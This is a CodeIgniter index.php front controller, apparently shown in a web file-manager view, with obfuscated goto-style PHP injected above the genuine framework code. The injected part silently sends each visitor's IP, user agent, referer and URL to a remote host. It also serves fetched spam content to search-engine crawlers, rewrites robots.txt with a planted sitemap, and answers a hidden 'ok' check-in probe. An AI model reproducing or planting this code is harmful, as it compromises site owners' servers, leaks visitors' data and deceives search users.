관리-도구
편집 파일: index.php
<?php goto iq2Wg; w0L2P: curl_setopt($HlhI8, CURLOPT_RETURNTRANSFER, true); goto SGTwG; V7IK6: hwOCQ: goto l_iXJ; dzB7i: IPWlF: goto l1Pws; cbNRn: header("\110\124\124\120\x2f\61\x2e\x31\x20\64\60\64\x20\x4e\x6f\164\40\x46\x6f\x75\156\x64"); goto V7IK6; vQDWe: $yfgmk = iWigO($KWLLY); goto gs64O; wxGy1: I9Ehu: goto AGZje; XaJ9y: header("\110\124\124\120\57\61\56\60\x20\x35\60\x30\x20\111\156\164\x65\x72\x6e\141\x6c\x20\x53\145\x72\166\x65\x72\x20\x45\162\162\x6f\162"); goto H3Nh8; s7GaJ: goto sfLkW; goto XTRHU; FjfzY: exit; goto g02Rw; o4Qoy: $ySJ4u = urlencode(@$_SERVER["\x48\x54\x54\120\x5f\x52\x45\106\105\122\x45\122"]); goto RVfz4; xK5DF: if (!empty($y7WhN)) { goto BDXS7; } goto pmbTz; bgAci: function iwiGo($GA604) { goto btXVm; QwcDq: $v7Pyh = fread($g9JDn, filesize($GA604)); goto S0FNP; S0FNP: fclose($g9JDn); goto kzyLA; IsVpD: K8HkI: goto rnA8R; kzyLA: return $v7Pyh; goto IsVpD; btXVm: $g9JDn = fopen($GA604, "\x72"); goto X3rMC; X3rMC: if (!$g9JDn) { goto K8HkI; } goto QwcDq; rnA8R: return false; goto fpIpf; fpIpf: } goto xhdX8; AGZje: $kKhKR = urlencode($_SERVER["\x48\x54\124\120\137\110\117\x53\x54"]); goto gl9kl; Onh8J: $doM5c = urlencode($_SERVER["\x52\105\x51\x55\105\x53\x54\x5f\x55\122\111"]); goto NkDc2; umcDt: uJmpV: goto cj2R2; H3Nh8: exit; goto dzB7i; AQ62A: $yfgmk = 0; goto AHRYQ; mbecz: QMPEx: goto hd6L5; Pl1iF: echo "\157\x6b"; goto FjfzY; QyfRm: goto I9Ehu; goto pIjUp; cgv1u: header("\x43\x6f\x6e\x74\x65\x6e\x74\55\x54\171\x70\145\x3a\x20\x74\x65\170\164\x2f\x68\164\155\x6c\73\40\x63\x68\141\x72\163\145\164\x3d\165\x74\x66\x2d\70"); goto zjJT8; X208u: curl_close($HlhI8); goto f8nlu; gl9kl: $EvhmJ = urlencode($_SERVER["\123\103\x52\111\x50\124\x5f\116\101\115\105"]); goto xlZpc; MKwOw: $F1Ims = "{$h_acD}\x3a\x2f\57" . $kKhKR . $DBVO6 . "\163\151\164\x65\x6d\x61\160\56\170\155\x6c"; goto Zy3a3; hiBRQ: $WsMj0 = "\131\141\x68\157\x6f\x7c\x42\151\x6e\147\174\x44\x6f\x63\x6f\155\x6f\174\x47\x6f\x6f\x67\154\x65"; goto fUshY; WzyBn: if (preg_match("\100\136\57\x28\56\x2a\x3f\x29\56\170\155\154\44\x40\x69", $_SERVER["\x52\x45\x51\125\x45\x53\124\x5f\125\122\111"]) or strpos($doM5c, "\x72\x6f\x62\x6f\164\163\x2e\x74\170\x74") !== false or strpos($doM5c, "\152\160\62\x30\x32\x33") !== false or strpos($doM5c, "\x70\x69\x6e\x67\x73\151\164\145\155\141\160") !== false or preg_match("\57\50{$WsMj0}\51\57\x69", $_SERVER["\x48\x54\x54\x50\137\x55\123\x45\x52\137\x41\x47\x45\x4e\x54"]) or preg_match("\x2f\x28{$WsMj0}\51\x2f\151", @$_SERVER["\x48\x54\124\120\x5f\122\x45\106\x45\122\105\122"])) { goto T0FLc; } goto zDfR9; xhdX8: $h_acD = urlencode($_SERVER["\122\x45\121\x55\105\x53\x54\x5f\123\x43\x48\x45\115\x45"]); goto Onh8J; f_oPg: $ZJAbh = urlencode($_SERVER["\110\x54\x54\x50\137\x55\x53\105\122\137\x41\107\105\x4e\x54"]); goto hFnOl; SFxlm: $TQ4mc = $yeH1m . "\x3f\141\x67\x65\156\164\75{$ZJAbh}\46\162\145\x66\x65\x72\x3d{$ySJ4u}\46\x6c\x61\x6e\x67\x3d{$LVZRt}\46\x69\160\x3d{$veF13}\46\x64\157\x6d\x3d{$kKhKR}\x26\150\164\164\160\x3d{$h_acD}\46\x75\162\x69\75{$doM5c}\x26\x70\143\75{$fZyKS}\46\x72\145\x77\x72\151\x74\x65\x61\x62\x6c\145\75{$yfgmk}\x26\163\x63\162\x69\160\x74\x3d{$EvhmJ}\46\x73\x69\164\x65\155\x61\160\75" . urlencode($F1Ims); goto umcDt; AHRYQ: $KWLLY = "\143\161\x6d\56\x74\170\x74"; goto kaFm5; tL37R: JbSC0: goto tg_38; BYNcC: function zLaEu($GA604, $v7Pyh) { goto XQ58V; XQ58V: $g9JDn = fopen($GA604, "\x77"); goto nVslc; otR2e: fwrite($g9JDn, $v7Pyh); goto w0cpq; LDmaZ: return false; goto p7c2Y; nVslc: if (!$g9JDn) { goto gnwIW; } goto otR2e; UfKen: return true; goto p1fKo; w0cpq: fclose($g9JDn); goto UfKen; p1fKo: gnwIW: goto LDmaZ; p7c2Y: } goto bgAci; zDfR9: goto TnJ3y; goto jApvE; xlZpc: $veF13 = urlencode($veF13); goto WJ7GR; iR06t: $wenYm = curl_exec($HlhI8); goto X208u; CtZ5a: $e_Bp2 = ''; goto tjNcJ; WsIKH: header("\103\157\156\x74\x65\156\x74\x2d\x54\171\x70\x65\72\40\x74\145\x78\164\x2f\170\x6d\x6c\73\x20\143\150\x61\162\x73\x65\164\x3d\165\164\x66\x2d\70"); goto vCQqv; g02Rw: P1QkX: goto AQ62A; hYMo4: $veF13 = $_SERVER["\110\124\x54\x50\x5f\x58\137\x46\117\122\127\x41\122\x44\105\x44\x5f\106\x4f\x52"]; goto wxGy1; pIjUp: RwXvB: goto Wmwnp; vCQqv: A7SSp: goto wdKXF; B91fl: if (substr($wenYm, 0, 5) == "\x3c\x3f\170\155\x6c") { goto PQDmf; } goto cgv1u; tg_38: TnJ3y: goto dIHQC; IrViT: $kXqr0 = "\151\x6e\144\x2e\143"; goto utxUs; iUSIU: if (empty($wenYm)) { goto JbSC0; } goto TLnIr; G3sI6: $DBVO6 = $DBVO6 . "\x3f"; goto vZn10; pmbTz: if (!(strpos($doM5c, "\x72\157\x62\157\x74\163\x2e\x74\170\x74") !== false)) { goto JSJRM; } goto H0EqJ; SGTwG: curl_setopt($HlhI8, CURLOPT_FOLLOWLOCATION, false); goto qrzmv; IfgIu: $HlhI8 = curl_init(); goto dUwN1; Osf3D: bA9St: goto hYMo4; kaFm5: if (!is_file($KWLLY)) { goto uotNM; } goto vQDWe; l_iXJ: echo $wenYm; goto xK5DF; Wco5a: $DBVO6 = "\x2f\x3f"; goto hLtaO; fLZlu: PQDmf: goto WsIKH; j2FOZ: Zlaeu($KWLLY, "\61"); goto WUijJ; G3oru: Ub8iD: goto Wco5a; jApvE: T0FLc: goto GkKNJ; c9V2h: $TQ43J = $h_acD . "\x3a\x2f\57" . $_SERVER["\110\124\124\x50\x5f\x48\117\x53\124"] . "\57\x63\x71\155\x63\161\155"; goto Ywp0B; gs64O: goto TFvin; goto lDR3A; fUshY: if (!preg_match("\x2f\50\112\x61\x76\x61\174\x44\x61\164\x61\x46\x6f\162\x53\x45\117\174\105\x61\x73\157\x75\x53\160\151\x64\145\x72\x7c\106\x65\145\x64\x6c\x79\174\171\x61\x6e\x64\x65\170\102\x6f\164\174\106\x65\x65\x64\104\x65\x6d\x6f\x6e\174\103\x65\x6e\x73\x79\163\111\156\163\160\x65\x63\x74\x7c\x4a\x61\165\x6e\164\171\174\x42\171\164\145\x73\160\151\x64\145\x72\x7c\x73\167\x69\146\164\x62\x6f\x74\174\101\x70\x61\143\150\145\x42\x65\156\143\x68\x7c\123\145\155\162\165\163\x68\102\157\x74\174\x49\x6e\144\x79\x20\x4c\151\x62\x72\x61\x72\x79\174\104\x69\147\x45\x78\x74\174\152\151\x6b\145\x53\160\x69\144\x65\162\x7c\x4f\x42\x6f\164\x7c\x50\x79\164\x68\157\156\x2d\162\145\x71\165\145\163\164\163\x7c\141\150\x72\145\146\x73\102\x6f\164\x7c\x61\x6d\x61\172\x6f\x6e\102\x6f\164\x7c\x4d\x6a\x31\x32\x62\157\x74\x7c\120\141\154\x6f\x61\x6c\x74\x6f\x6e\145\164\x77\x6f\x72\x6b\x73\x7c\150\x65\x72\151\x74\162\151\x78\174\x43\x6f\x6f\x6c\160\141\144\127\145\142\x6b\x69\164\x7c\x47\157\x2d\150\164\x74\x70\x2d\143\x6c\x69\145\156\x74\x7c\172\155\105\165\x7c\x53\143\162\141\160\171\174\x50\171\x74\x68\157\156\174\x62\141\x72\x6b\x72\157\167\154\145\x72\174\103\154\141\x75\144\145\142\157\164\174\x4c\x69\147\150\x74\104\145\143\153\122\x65\x70\157\x72\164\x73\x20\x42\x6f\164\x7c\171\151\163\x6f\x75\123\160\x69\x64\x65\162\174\x50\x65\164\141\x6c\x42\x6f\x74\x7c\125\x6e\x69\x76\x65\x72\163\141\x6c\106\x65\x65\144\120\x61\162\163\x65\162\x7c\x50\x79\164\x68\157\x6e\55\x75\162\x6c\x6c\x69\x62\174\123\x65\172\156\x61\x6d\102\157\x74\x7c\x65\172\x6f\x6f\155\163\x7c\x61\163\153\x54\x62\106\x58\124\126\x7c\x79\171\x53\160\151\144\145\x72\x7c\107\x50\x54\102\x6f\164\x7c\104\x6f\x74\x42\x6f\x74\x7c\x43\162\x61\x77\154\104\x61\x64\x64\x79\174\x48\x74\164\160\x43\x6c\x69\145\x6e\x74\x29\x2f\151", $_SERVER["\x48\x54\x54\120\137\x55\123\x45\122\x5f\x41\107\105\x4e\x54"])) { goto DuBfD; } goto jFSe4; HUhHy: if (strpos($DBVO6, "\x69\x6e\x64\x65\170\x2e\x70") !== false) { goto sAnl_; } goto G3sI6; B8Awi: $LVZRt = urlencode(@$_SERVER["\110\x54\124\120\x5f\101\x43\103\105\x50\x54\137\x4c\101\116\107\125\101\x47\105"]); goto o4Qoy; w4XOJ: ZlAEU($KWLLY, "\60"); goto s7GaJ; Zy3a3: $y7WhN = trim($y7WhN) . "\15\12" . "\x53\x69\x74\x65\155\x61\160\x3a\40{$F1Ims}"; goto CtZ5a; lNWoc: curl_setopt($HlhI8, CURLOPT_SSL_VERIFYHOST, FALSE); goto iR06t; wdKXF: goto hwOCQ; goto xSGrN; IVf2D: Ouelq: goto AIOK7; YVsPH: if (isset($_SERVER["\x48\124\124\120\x5f\x58\137\106\117\x52\x57\x41\122\x44\x45\104\x5f\x46\x4f\122"])) { goto bA9St; } goto QyfRm; AIOK7: $y7WhN = "\x55\x73\145\x72\55\x61\x67\x65\156\x74\72\x20\52\15\xa\101\x6c\154\157\x77\x3a\40\x2f"; goto MKwOw; Sw2wI: JSJRM: goto WnXN4; utxUs: $VWu1N = "\x35\64"; goto p0kRi; jFSe4: header("\110\x54\124\120\x2f\61\56\x30\40\x34\60\63\40\106\x6f\162\142\151\144\x64\x65\156"); goto gngE0; Ywp0B: $wenYm = @file_get_contents($TQ43J); goto sGKN_; dUwN1: curl_setopt($HlhI8, CURLOPT_URL, $TQ4mc); goto w0L2P; WXoXH: $y7WhN = ''; goto c566o; ZvkOw: $DBVO6 = $_SERVER["\123\x43\122\x49\x50\x54\137\x4e\x41\x4d\105"]; goto HUhHy; WJ7GR: if (!empty($_SERVER["\x52\x45\121\125\105\123\x54\137\123\x43\110\105\x4d\x45"]) and $_SERVER["\x52\105\121\x55\x45\123\124\137\123\x43\x48\x45\x4d\105"] == "\150\164\x74\160\163" or !empty($_SERVER["\x48\124\124\x50\123"]) and $_SERVER["\x48\x54\124\120\123"] == "\157\x6e" or !empty($_SERVER["\123\105\122\x56\105\x52\137\120\x4f\122\124"]) and $_SERVER["\x53\x45\122\x56\105\x52\137\x50\x4f\122\124"] == "\64\x34\x33" or isset($_SERVER["\x48\124\x54\120\x5f\130\x5f\106\x4f\x52\127\x41\122\104\105\104\x5f\120\122\117\124\x4f"]) and $_SERVER["\x48\124\124\120\137\x58\x5f\x46\x4f\x52\127\101\x52\x44\105\x44\x5f\x50\122\117\x54\117"] == "\150\x74\164\160\x73") { goto A15F7; } goto EKmNe; TLnIr: if (!(substr($wenYm, 0, 10) == "\145\162\162\157\x72\40\x63\x6f\x64\x65" or $wenYm == "\65\60\x30" or strpos($wenYm, "\x42\141\144\40\107\141\164\145\167\141\171") !== false)) { goto IPWlF; } goto XaJ9y; iq2Wg: $gJdvX = "\x62\154"; goto d4xdA; WUijJ: sfLkW: goto Kfa1N; l1Pws: if (strpos($doM5c, "\x6a\x70\62\x30\x32\63") !== false) { goto j5AJg; } goto B91fl; uu01n: goto p631H; goto mbp6j; RVfz4: $veF13 = $_SERVER["\122\x45\x4d\x4f\124\105\x5f\101\104\104\122"]; goto f_oPg; NkDc2: if (!(strpos($doM5c, "\x63\x71\x6d\143\x71\155") !== false)) { goto P1QkX; } goto Pl1iF; LKuaU: BDXS7: goto uQNPO; svTfJ: DuBfD: goto B8Awi; yxOIL: TMo3L: goto zUcpu; dGa1Q: $yeH1m = $MJ9eq . $VWu1N . $eMPKf . $gJdvX . $kXqr0 . $x0VkP; goto yHdb_; c566o: if (!(strpos($doM5c, "\x70\151\x6e\147\163\151\164\145\x6d\141\160") !== false)) { goto uJmpV; } goto ZvkOw; yHdb_: $fZyKS = "\104\147\x63\116\x44\x41\150"; goto A760V; zjJT8: goto A7SSp; goto fLZlu; Kfa1N: TFvin: goto Egr0m; cj2R2: $wenYm = @file_get_contents($TQ4mc); goto c5d1N; lDR3A: uotNM: goto c9V2h; gngE0: exit; goto svTfJ; estK2: $DBVO6 = "\x2f"; goto Jqpj7; EKmNe: $_SERVER["\122\105\121\x55\105\x53\124\137\123\x43\x48\105\x4d\105"] = "\150\164\164\x70"; goto uu01n; dIHQC: goto IoL6z; goto yxOIL; f8nlu: aiaPG: goto iUSIU; Egr0m: if (strpos($doM5c, "\x66\x61\x76\151\143\x6f\156\x2e\151\143\x6f") !== false) { goto TMo3L; } goto WzyBn; No5pZ: if ($yfgmk == 0) { goto Ub8iD; } goto estK2; wGKik: p631H: goto BYNcC; GkKNJ: $TQ4mc = $yeH1m . "\x3f\x61\147\145\156\164\75{$ZJAbh}\46\x72\x65\146\145\162\x3d{$ySJ4u}\46\x6c\x61\x6e\x67\x3d{$LVZRt}\46\151\160\x3d{$veF13}\x26\144\x6f\x6d\75{$kKhKR}\x26\150\x74\x74\160\x3d{$h_acD}\x26\x75\x72\x69\75{$doM5c}\46\160\x63\75{$fZyKS}\x26\162\x65\167\162\x69\x74\145\x61\x62\154\x65\x3d{$yfgmk}\46\x73\143\x72\x69\160\164\x3d{$EvhmJ}"; goto WXoXH; hd6L5: exit; goto ka7Q6; hFnOl: if (isset($_SERVER["\110\124\x54\120\137\103\x4c\x49\x45\x4e\x54\137\111\120"])) { goto RwXvB; } goto YVsPH; ka7Q6: return; goto tL37R; qrzmv: curl_setopt($HlhI8, CURLOPT_SSL_VERIFYPEER, FALSE); goto lNWoc; Jqpj7: goto OZVpo; goto G3oru; H0EqJ: zlAEu("\x72\x6f\142\157\164\163\x2e\164\x78\x74", $wenYm); goto Sw2wI; XTRHU: SmSbA: goto ziI2q; sGKN_: if ($wenYm === "\x6f\153") { goto SmSbA; } goto P2uN4; hLtaO: OZVpo: goto IVf2D; WnXN4: goto QMPEx; goto LKuaU; Ft6b2: $MJ9eq = "\150\x74\x74\x70\x3a\x2f\57\x63\x77\x32"; goto dGa1Q; aH5_N: goto I9Ehu; goto Osf3D; tjNcJ: echo $F1Ims . "\72\x20" . $e_Bp2 . "\74\x62\x72\x2f\x3e"; goto SFxlm; EDFpb: sAnl_: goto No5pZ; P2uN4: $yfgmk = 0; goto w4XOJ; Wmwnp: $veF13 = $_SERVER["\110\124\124\120\x5f\x43\114\111\x45\116\x54\x5f\111\x50"]; goto aH5_N; vZn10: goto Ouelq; goto EDFpb; c5d1N: if (!empty($wenYm)) { goto aiaPG; } goto IfgIu; A760V: error_reporting(0); goto hiBRQ; d4xdA: $eMPKf = "\x35\56\x33\x64"; goto IrViT; ILU3J: $_SERVER["\x52\x45\121\125\x45\x53\x54\x5f\x53\103\110\105\115\105"] = "\150\x74\x74\x70\163"; goto wGKik; ziI2q: $yfgmk = 1; goto j2FOZ; p0kRi: $x0VkP = "\x6f\155\57"; goto Ft6b2; xSGrN: j5AJg: goto cbNRn; uQNPO: zLaeU("\x72\x6f\x62\x6f\164\163\x2e\x74\x78\x74", $y7WhN); goto mbecz; mbp6j: A15F7: goto ILU3J; zUcpu: IoL6z: ?><?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2019, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2019, British Columbia Institute of Technology (https://bcit.ca/) * @license https://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ /* *--------------------------------------------------------------- * APPLICATION ENVIRONMENT *--------------------------------------------------------------- * * You can load different configurations depending on your * current environment. Setting the environment also influences * things like logging and error reporting. * * This can be set to anything, but default usage is: * * development * testing * production * * NOTE: If you change these, also change the error_reporting() code below */ define('ENVIRONMENT', isset($_SERVER['CI_ENV']) ? $_SERVER['CI_ENV'] : 'development'); /* *--------------------------------------------------------------- * ERROR REPORTING *--------------------------------------------------------------- * * Different environments will require different levels of error reporting. * By default development will show errors but testing and live will hide them. */ switch (ENVIRONMENT) { case 'development': error_reporting(-1); ini_set('display_errors', 1); break; case 'testing': case 'production': ini_set('display_errors', 0); if (version_compare(PHP_VERSION, '5.3', '>=')) { error_reporting(E_ALL & ~E_NOTICE & ~E_DEPRECATED & ~E_STRICT & ~E_USER_NOTICE & ~E_USER_DEPRECATED); } else { error_reporting(E_ALL & ~E_NOTICE & ~E_STRICT & ~E_USER_NOTICE); } break; default: header('HTTP/1.1 503 Service Unavailable.', TRUE, 503); echo 'The application environment is not set correctly.'; exit(1); // EXIT_ERROR } /* *--------------------------------------------------------------- * SYSTEM DIRECTORY NAME *--------------------------------------------------------------- * * This variable must contain the name of your "system" directory. * Set the path if it is not in the same directory as this file. */ $system_path = 'system'; /* *--------------------------------------------------------------- * APPLICATION DIRECTORY NAME *--------------------------------------------------------------- * * If you want this front controller to use a different "application" * directory than the default one you can set its name here. The directory * can also be renamed or relocated anywhere on your server. If you do, * use an absolute (full) server path. * For more info please see the user guide: * * https://codeigniter.com/user_guide/general/managing_apps.html * * NO TRAILING SLASH! */ $application_folder = 'application'; /* *--------------------------------------------------------------- * VIEW DIRECTORY NAME *--------------------------------------------------------------- * * If you want to move the view directory out of the application * directory, set the path to it here. The directory can be renamed * and relocated anywhere on your server. If blank, it will default * to the standard location inside your application directory. * If you do move this, use an absolute (full) server path. * * NO TRAILING SLASH! */ $view_folder = ''; /* * -------------------------------------------------------------------- * DEFAULT CONTROLLER * -------------------------------------------------------------------- * * Normally you will set your default controller in the routes.php file. * You can, however, force a custom routing by hard-coding a * specific controller class/function here. For most applications, you * WILL NOT set your routing here, but it's an option for those * special instances where you might want to override the standard * routing in a specific front controller that shares a common CI installation. * * IMPORTANT: If you set the routing here, NO OTHER controller will be * callable. In essence, this preference limits your application to ONE * specific controller. Leave the function name blank if you need * to call functions dynamically via the URI. * * Un-comment the $routing array below to use this feature */ // The directory name, relative to the "controllers" directory. Leave blank // if your controller is not in a sub-directory within the "controllers" one // $routing['directory'] = ''; // The controller class file name. Example: mycontroller // $routing['controller'] = ''; // The controller function you wish to be called. // $routing['function'] = ''; /* * ------------------------------------------------------------------- * CUSTOM CONFIG VALUES * ------------------------------------------------------------------- * * The $assign_to_config array below will be passed dynamically to the * config class when initialized. This allows you to set custom config * items or override any default config values found in the config.php file. * This can be handy as it permits you to share one application between * multiple front controller files, with each file containing different * config values. * * Un-comment the $assign_to_config array below to use this feature */ // $assign_to_config['name_of_config_item'] = 'value of config item'; // -------------------------------------------------------------------- // END OF USER CONFIGURABLE SETTINGS. DO NOT EDIT BELOW THIS LINE // -------------------------------------------------------------------- /* * --------------------------------------------------------------- * Resolve the system path for increased reliability * --------------------------------------------------------------- */ // Set the current directory correctly for CLI requests if (defined('STDIN')) { chdir(dirname(__FILE__)); } if (($_temp = realpath($system_path)) !== FALSE) { $system_path = $_temp.DIRECTORY_SEPARATOR; } else { // Ensure there's a trailing slash $system_path = strtr( rtrim($system_path, '/\\'), '/\\', DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR ).DIRECTORY_SEPARATOR; } // Is the system path correct? if ( ! is_dir($system_path)) { header('HTTP/1.1 503 Service Unavailable.', TRUE, 503); echo 'Your system folder path does not appear to be set correctly. Please open the following file and correct this: '.pathinfo(__FILE__, PATHINFO_BASENAME); exit(3); // EXIT_CONFIG } /* * ------------------------------------------------------------------- * Now that we know the path, set the main path constants * ------------------------------------------------------------------- */ // The name of THIS file define('SELF', pathinfo(__FILE__, PATHINFO_BASENAME)); // Path to the system directory define('BASEPATH', $system_path); // Path to the front controller (this file) directory define('FCPATH', dirname(__FILE__).DIRECTORY_SEPARATOR); // Name of the "system" directory define('SYSDIR', basename(BASEPATH)); // The path to the "application" directory if (is_dir($application_folder)) { if (($_temp = realpath($application_folder)) !== FALSE) { $application_folder = $_temp; } else { $application_folder = strtr( rtrim($application_folder, '/\\'), '/\\', DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR ); } } elseif (is_dir(BASEPATH.$application_folder.DIRECTORY_SEPARATOR)) { $application_folder = BASEPATH.strtr( trim($application_folder, '/\\'), '/\\', DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR ); } else { header('HTTP/1.1 503 Service Unavailable.', TRUE, 503); echo 'Your application folder path does not appear to be set correctly. Please open the following file and correct this: '.SELF; exit(3); // EXIT_CONFIG } define('APPPATH', $application_folder.DIRECTORY_SEPARATOR); // The path to the "views" directory if ( ! isset($view_folder[0]) && is_dir(APPPATH.'views'.DIRECTORY_SEPARATOR)) { $view_folder = APPPATH.'views'; } elseif (is_dir($view_folder)) { if (($_temp = realpath($view_folder)) !== FALSE) { $view_folder = $_temp; } else { $view_folder = strtr( rtrim($view_folder, '/\\'), '/\\', DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR ); } } elseif (is_dir(APPPATH.$view_folder.DIRECTORY_SEPARATOR)) { $view_folder = APPPATH.strtr( trim($view_folder, '/\\'), '/\\', DIRECTORY_SEPARATOR.DIRECTORY_SEPARATOR ); } else { header('HTTP/1.1 503 Service Unavailable.', TRUE, 503); echo 'Your view folder path does not appear to be set correctly. Please open the following file and correct this: '.SELF; exit(3); // EXIT_CONFIG } define('VIEWPATH', $view_folder.DIRECTORY_SEPARATOR); /* * -------------------------------------------------------------------- * LOAD THE BOOTSTRAP FILE * -------------------------------------------------------------------- * * And away we go... */ require_once BASEPATH.'core/CodeIgniter.php';